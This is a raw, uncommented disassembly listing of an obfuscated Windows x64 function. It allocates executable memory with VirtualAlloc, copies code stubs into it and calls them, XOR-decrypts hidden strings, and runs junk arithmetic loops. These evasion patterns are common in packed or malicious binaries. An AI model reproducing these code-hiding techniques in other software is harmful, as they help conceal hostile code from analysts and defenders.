lea rbx, [0x140162e00]
test rax, rax
je 0x140154f49
nop
cmp rax, rbx
je 0x140154f36
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205c50]
test rax, rax
jne 0x140154f20
jmp 0x140154f49
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x205600]
test r8, r8
jne 0x14015502f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140154f70
mov r8, r14
jmp 0x14015500e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140154f80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402055e0]
mov qword [rsi + rax*8 + 0x205c50], rbx
mov qword [rsi + rax*8 + 0x205600], r8
inc rax
mov qword [0x1402055e0], rax
lea rdx, [rsp + 0x598]
lea rcx, [0x14011f0f0]
call r8
nop
mov rcx, qword [rsp + 0xf60]
xor rcx, qword [rsp + 0xf68]
mov qword [rsp + 0xf60], rcx
mov rax, qword [rsp + 0xf70]
mov qword [rax], rcx
call fcn.14017f98c
mov edx, eax
lea rcx, [rsp + 0xc380]
call fcn.140158db0
mov dword [rsp + 0xc30], 0xffffff9c
mov dword [rsp + 0xc34], 0x64
movaps xmm0, xmmword [0x1401ed2c0]
movups xmmword [rsp + 0xd50], xmm0
mov dword [rsp + 0x40], r14d
movsd qword [rsp + 0x50], xmm14
lea rcx, [rsp + 0xf8]
call fcn.140119650
mov rax, qword [rsp + 0xf8]
add rax, 0x5f5e100
mov qword [rsp + 0x160], rax
lea rcx, [rsp + 0xd00]
call fcn.140119a50
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd00], xmm0
mov qword [rsp + 0xd10], r14
lea rcx, [rsp + 0x5a0]
call fcn.1401621c0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x150], rcx
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0xd00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x150]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x5a0]
call fcn.140158cc0
lea rcx, [rsp + 0x348]
call fcn.1401621f0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x158], rcx
lea rdx, [rsp + 0x158]
lea rcx, [rsp + 0xd00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x158]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x348]
call fcn.140158cc0
lea rcx, [rsp + 0x350]
call fcn.140162220
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x130], rcx
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0xd00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x130]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x350]
call fcn.140158cc0
lea rcx, [rsp + 0x358]
call fcn.140162250
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x138], rcx
lea rdx, [rsp + 0x138]
lea rcx, [rsp + 0xd00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x138]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x358]
call fcn.140158cc0
lea rcx, [rsp + 0x360]
call fcn.140162280
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x140], rcx
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0xd00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x140]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x360]
call fcn.140158cc0
lea rcx, [rsp + 0x368]
call fcn.1401622b0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rsp + 0x148], rcx
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0xd00]
call fcn.140158ce0
nop
lea rcx, [rsp + 0x148]
call fcn.140158cc0
nop
lea rcx, [rsp + 0x368]
call fcn.140158cc0
lea rcx, [rsp + 0x370]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.140119a00
test al, al
jns 0x140155653
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xc380]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140162040
mov rbx, qword [rsp + 0xd08]
sub rbx, qword [rsp + 0xd00]
sar rbx, 3
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140162040
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xd00]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140162040
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.1401622e0
movaps xmm5, xmm0
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.1401622e0
movaps xmm1, xmm5
call fcn.1401198d0
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.1401622e0
movaps xmm1, xmm15
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.1401622e0
call fcn.1401cf820
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x10a0]
call fcn.1401321c0
nop
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0x10a0]
call fcn.140119840
lea rcx, [rsp + 0xe50]
call fcn.140119a50
lea rcx, [rsp + 0xe50]
call fcn.140158e60
nop
movdqa xmmword [rsp + 0x860], xmm6
lea r8, [rsp + 0x860]
mov rdx, qword [rsp + 0xe58]
mov rcx, qword [rsp + 0xe50]
call fcn.140162360
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xe50]
call fcn.140119950
mov rdx, qword [rsp + 0xe58]
mov rcx, qword [rsp + 0xe50]
call fcn.1401623c0
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140162040
mov ebx, eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140162040
mov r8d, ebx
mov edx, eax
call fcn.140119a20
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14015551a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
test eax, eax
jne 0x14015553f
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14015554e
call fcn.140162040
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
mov ebx, r14d
nop word [rax + rax]
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xc30]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0xc380]
lea rcx, [rsp + 0xd50]
call fcn.1401622e0
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0xc380]
test bl, 1
jne 0x1401555cb
lea rcx, [rsp + 0xc30]
call fcn.140162040
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1401555ed
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xd50]
call fcn.1401622e0
addsd xmm0, xmm13
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140155560
sub rdi, 1
jne 0x140155553
lea rcx, [rsp + 0xe50]
call fcn.140158e00
nop
lea rcx, [rsp + 0x10a0]
call fcn.1401348f0
sub r12, 1
jne 0x140155310
lea rcx, [rsp + 0x370]
call fcn.140119650
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.140119a00
test al, al
js 0x140155300
mov r12d, dword [0x1402000f8]
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xd00]
call fcn.140158d10
movups xmm0, xmmword [0x1401ec0a8]
movups xmmword [rsp + 0x5a8], xmm0
movups xmm1, xmmword [0x1401ec0b8]
movups xmmword [rsp + 0x5b8], xmm1
mov eax, dword [0x1401ec0c8]
mov dword [rsp + 0x5c8], eax
movzx eax, word [0x1401ec0cc]
mov word [rsp + 0x5cc], ax
movzx eax, byte [0x1401ec0ce]
mov byte [rsp + 0x5ce], al
mov r9d, r14d
mov edi, 6
lea ebx, [rdi + 0x19]
cmp r12d, 2
jl 0x1401558d5
movd xmm6, edi
movd xmm7, ebx
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x5a8]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x1401556e0
cmp r9d, 0x27
jge 0x140155942
movsxd rax, r9d
lea r10, [rsp + 0x5a8]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x27
jl 0x1401558f0
lea rdx, [rsp + 0x5a8]
lea rcx, [rsp + 0xa00]
call fcn.1401321c0
mov rcx, rax
call fcn.1401324d0
lea rcx, [rsp + 0xf78]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf78]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140206600]
test rax, rax
je 0x1401559ba
cmp rax, r15
je 0x1401559a7
inc ecx
mov rax, qword [rsi + rcx*8 + 0x206600]
test rax, rax
jne 0x140155991
jmp 0x1401559ba
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x207930]
test rdx, rdx
jne 0x140155a9f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1401559e1
mov rdx, r14
jmp 0x140155a7e
mov rax, r15
mov rcx, rdx
mov r8, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x1401559f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140206fb8]
mov qword [rsi + rax*8 + 0x206600], r15
mov qword [rsi + rax*8 + 0x207930], rdx
inc rax
mov qword [0x140206fb8], rax
lea rcx, [0x14013c610]
call rdx
nop
mov rcx, qword [rsp + 0xf78]
xor rcx, qword [rsp + 0xf80]
mov rax, qword [rsp + 0xf88]
mov qword [rax], rcx
movups xmm0, xmmword [str.HtkD]
movups xmmword [rsp + 0x5d0], xmm0
movups xmm1, xmmword [str._RMa._.k9643y720]
movups xmmword [rsp + 0x5e0], xmm1
mov eax, dword [0x1401ec7d8]
mov dword [rsp + 0x5f0], eax
movzx eax, byte [0x1401ec7dc]
mov byte [rsp + 0x5f4], al
mov r9d, r14d
cmp r12d, 2
jl 0x140155d25
movd xmm6, edi
movd xmm7, ebx
movdqa xmm0, xmmword [str.eeeeeeeeeeeeeeee]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x5d0]
nop dword [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
pmuldq xmm2, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed230]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed220]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ed200]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1401ed2f0]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ed2f0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm6
pmuldq xmm4, xmmword [0x1401ed2e0]
pmuldq xmm1, xmmword [0x1401ed2e0]
shufps xmm4, xmm1, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm6
movdqa xmm1, xmm2
psrld xmm1, xmm7
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ed220]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ed2a0]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm7
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ed230]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ed2a0]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140155b30
cmp r9d, 0x25
jge 0x140155d92
movsxd rax, r9d
lea r10, [rsp + 0x5d0]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0x6db6db6d
imul r9d
sub edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1b
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x140155d40
lea rdx, [rsp + 0x5d0]
lea rcx, [rsp + 0x9e0]
call fcn.1401321c0
mov rcx, rax
call fcn.1401324d0
lea rcx, [rsp + 0xfa8]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xfa8]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140206600]
test rax, rax
je 0x140155e0a
cmp rax, r15
je 0x140155df7
inc ecx
mov rax, qword [rsi + rcx*8 + 0x206600]
test rax, rax
jne 0x140155de1
jmp 0x140155e0a
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x207930]
test rdx, rdx
jne 0x140155eef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140155e31
mov rdx, r14
jmp 0x140155ece
mov rax, r15
mov rcx, rdx
mov r8, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140155e40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140206fb8]
mov qword [rsi + rax*8 + 0x206600], r15
mov qword [rsi + rax*8 + 0x207930], rdx
inc rax
mov qword [0x140206fb8], rax
lea rcx, [0x140145620]
call rdx
nop
mov rcx, qword [rsp + 0xfa8]
xor rcx, qword [rsp + 0xfb0]
mov rax, qword [rsp + 0xfb8]
mov qword [rax], rcx
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xa0], 0xffffffff
lea rcx, [rsp + 0xf90]
call fcn.140119a50
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf90]
call fcn.14011a1f0
nop
mov ecx, r14d
mov rax, qword [0x140205920]
lea rdi, [0x140162e30]
test rax, rax
je 0x140155f89
nop
cmp rax, rdi
je 0x140155f76
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205920]
test rax, rax
jne 0x140155f60
jmp 0x140155f89
mov eax, ecx
mov r10, qword [rsi + rax*8 + 0x206c90]
test r10, r10
jne 0x14015606f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140155fb0
mov r10, r14
jmp 0x14015604e
mov rax, rdi
mov rcx, r10
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x140155fc0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205f70]
mov qword [rsi + rax*8 + 0x205920], rdi
mov qword [rsi + rax*8 + 0x206c90], r10
inc rax
mov qword [0x140205f70], rax
lea rdx, [rsp + 0xa0]
mov rcx, rbx
call r10
nop
mov rcx, qword [rsp + 0xf90]
xor rcx, qword [rsp + 0xf98]
mov rax, qword [rsp + 0xfa0]
mov qword [rax], rcx
lea rcx, [rsp + 0x1160]
call fcn.1401561e0
nop
lea rcx, [rsp + 0xfc0]
call fcn.140119f20
nop
lea rcx, [rsp + 0xef8]
call fcn.14011a090
nop
mov rcx, qword [rsp + 0xe18]
xor rcx, qword [rsp + 0xe20]
mov rax, qword [rsp + 0xe28]
mov qword [rax], rcx
mov rcx, qword [rsp + 0xdb10]
xor rcx, rsp
call fcn.14019f9c0
lea r11, [rsp + 0xdbc0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
ret
test r10d, r10d
jne 0x14014d740
mov rax, qword [rax]
jmp 0x14014d710
test r10d, r10d
jne 0x14014d5c0
mov rax, qword [rax]
jmp 0x14014d590
test r10d, r10d
jne 0x14014d410
mov rax, qword [rax]
jmp 0x14014d3e0
call fcn.1401afbd0
nop
call fcn.1401afbd0
nop
call fcn.1401afbd0
nop
call fcn.1401afbd0
nop
mov ecx, 0x80004005
call fcn.140119b00
nop
mov ecx, 0x80004005
call fcn.140119b00
nop
mov ecx, 0x80004005
call fcn.140119b00
nop
mov ecx, 0x80004005
call fcn.140119b00
nop
call fcn.1401afbd0
nop
call fcn.1401afbd0
nop
call fcn.1401afbd0
int3